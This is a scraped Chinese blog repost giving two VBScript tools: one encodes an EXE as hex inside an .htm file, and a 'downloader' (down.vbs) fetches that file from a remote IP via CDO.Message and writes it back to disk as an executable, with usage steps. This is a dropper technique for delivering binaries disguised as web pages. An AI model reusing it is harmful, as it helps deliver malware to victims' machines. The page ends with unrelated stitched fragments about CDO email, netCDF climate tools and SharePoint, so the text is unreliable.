- ubuntu12.04环境下使用kvm ioctl接口实现最简单的虚拟机
- Ubuntu 通过无线网络安装Ubuntu Server启动系统后连接无线网络的方法
- 在Ubuntu上搭建网桥的方法
- ubuntu 虚拟机上网方式及相关配置详解
CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.
这篇CFSDN的博客文章VBS 下载方法(CDO.MESSAGE)由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.
于是研究了一会。写出个粗糙的DEMO。 exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制 ================================================ 。
复制代码 代码如下
'code by xiaolu 'change by NetPatch on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit do while 1 fname=arg(0) err.number=0 Set Ado = CreateObject("adodb.stream") With Ado .Type = 1 .open .loadfromfile fname ss = .read End With if err.number<>0 then if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit else exit do end if loop if fname="" then Wscript.quit Set Fso=CreateObject("Scripting.FileSystemObject") Set File=fso.OpenTextFile(arg(0)&".htm",2, True) File.write Bin2Str(ss) File.close Set fso=nothing Ado.close set Abo=nothing Function Bin2Str(Re) For i = 1 To lenB(Re) bt = AscB(MidB(Re, i, 1)) if bt < 16 Then Bin2Str=Bin2Str&"0" Bin2Str=Bin2Str & Hex(bt) Next End Function 。
====================================== 下载者 down.vbs ============= 。
复制代码 代码如下
on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit 'code by NetPatch 'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe Set Mail1 = CreateObject("CDO.Message") Mail1.CreateMHTMLBody arg(0),31 ss= Mail1.HTMLBody Set Mail1 = Nothing Set RS=CreateObject("ADODB.Recordset") L=Len(ss)/2 RS.Fields.Append "m",205,L RS.Open:RS.AddNew RS("m")=ss&ChrB(0) RS.Update ss=RS("m").GetChunk(L) Set s=CreateObject("ADODB.Stream") with s .Mode = 3 .Type = 1 .Open() .Write ss .SaveToFile arg(1),2 end with 。
================================== demo.htm内容时用exe2hex.vbs转EXE后获得的 使用方法: 1.exe2hex.vbs 把exe转成十六进制,放到网络上 2.down.vbs http://xxx/demo.htm c:\good.exe 。
最后此篇关于VBS 下载方法(CDO.MESSAGE)的文章就讲到这里了,如果你想了解更多关于VBS 下载方法(CDO.MESSAGE)的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我们编写了一个 Delphi 程序,用 CDO 发送一些信息。 在我的 Win7 机器(匈牙利语)中,重音工作正常。 因此,如果我发送一封带有“ÁÉÍÓÖŐÚÜŰ”的邮件,我就会收到这种格式的邮件。我
我有几个变量定义如下: dimensions: t = UNLIMITED ; // (1 currently) y = 3963 ; x = 5762
我们目前正在更改我们的邮件递送系统以单独使用 UTF-8 . 发件人姓名似乎有问题,当电子邮件包含非 ASCII 字符(希伯来语)时,主题和正文可以正常显示,但发件人姓名在我的 gmail 帐户中显示
我有每日时间分辨率的气候数据,并希望按月和按年计算有降水(例如,大于 1 毫米/天)的天数。 我试过 eca_pd,1 和 eca_rr1 ,但这些命令返回所有年份的雨天总数。 例如,cdo eca_
我下载了一个包含 4-5 个变量的 netcdf 文件,但它只有 2 个维度(纬度和经度)。时间不够了,这不允许我合并时间步或做任何有用的事情。 有没有办法通过使用 CDO 来解决这个问题? 有 10
正在将 EMF 用于 RCP 应用程序。该模型非常复杂,我有很大的 xml 文件,因此加载模型需要更多时间。使用 Eclipse CDO 模型存储库和 EMF 将模型存储在数据库中从而减少加载时间是否
我需要实时时区大师的帮助! 我的目标是编写一个工具(在 .Net 中)来显示来自具有选定时区偏移量的 SharePoint 数据库的日期时间值。我发现 SharePoint 在其数据库中将日期时间值保
我正在尝试计算具有特定经度/纬度的选定区域的平均 SPI 值。我制作了以下区域,我想在其中计算平均值。 ds_mlw1 = ds.sel(lat=slice(-16.74833, -16.75613)
我已经创建了一个应用程序(编译了任何 cpu),它使用一个 lib 也编译为任何 cpu(库引用 interop.CDO),我有这个错误消息: 无法加载文件或程序集“Interop.CDO,Versi
我想从 C# winform 应用程序发送电子邮件,我的互联网连接使用代理。 这是我目前所做的 WebProxy proxy = WebProxy.GetDefaultProxy();
我有一个需要发送电子邮件的 ASP.NET 应用程序。起初我使用 System.Net.Mail,一切都很好。我的应用程序可以发送 html 消息,人们可以很好地接收它们。 但后来我们添加了一个新的网
于是研究了一会。写出个粗糙的DEMO。 exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制 ================================
CDO 似乎对我来说工作得很好,直到我遇到这个。我有一个从 2101 年到 2228 年的每日数据的 netcdf,我想获得一个只有从 2101 年到 2227 年的文件,所以我运行: cdo sel
我正在尝试使用 Microsoft Office Excel 2007 VBA 代码发送邮件,但出现错误: Run-time error '-2147220973 (80040213)': Autom
我有一个 ERA5 nc 文件,记录了从 3 月到 10 月的每小时降水量,时间跨度为 30 年。数据是从本地时间午夜到中午(所以 UTC 时区的凌晨 4 点到下午 4 点)。我需要找到每个像素直到中
我知道有几个线程与此相关,但没有一个能回答我的问题。 只是代码 (VBScript): With cdomsg.Configuration.Fields .Item("http://schemas
我正在处理 netcdf 文件,并且有一些我一直在用 CDO 和 R 进行的分析。我想知道是否有可能在同一个脚本中直接从 R“调用”CDO .我不确定如何(我一直在尝试使用 System() 来调用命
我们在经典 ASP 中使用 CDO 对象在电子邮件正文中获得随机感叹号 (!) 标记。 我们在 Outlook 中没有得到这个感叹号。问题只发生在 Lotus Notes 客户端。我们使用 IIS S
我编写了使用 CDO.Message 的例程。它很久以前就开始工作了。 但是现在,在某些站点中,他们安装了证书,然后之前的工作版本在所有调用中都出错了。 我使用简单的变体来保存 CDO.Message
当我尝试在 VBScript 中将 MHTML 文件作为附件添加到电子邮件中时,ContentMediaType 被错误地设置为 “message/rfc822” ( RFC 822 )。据我了解,根
我是一名优秀的程序员,十分优秀!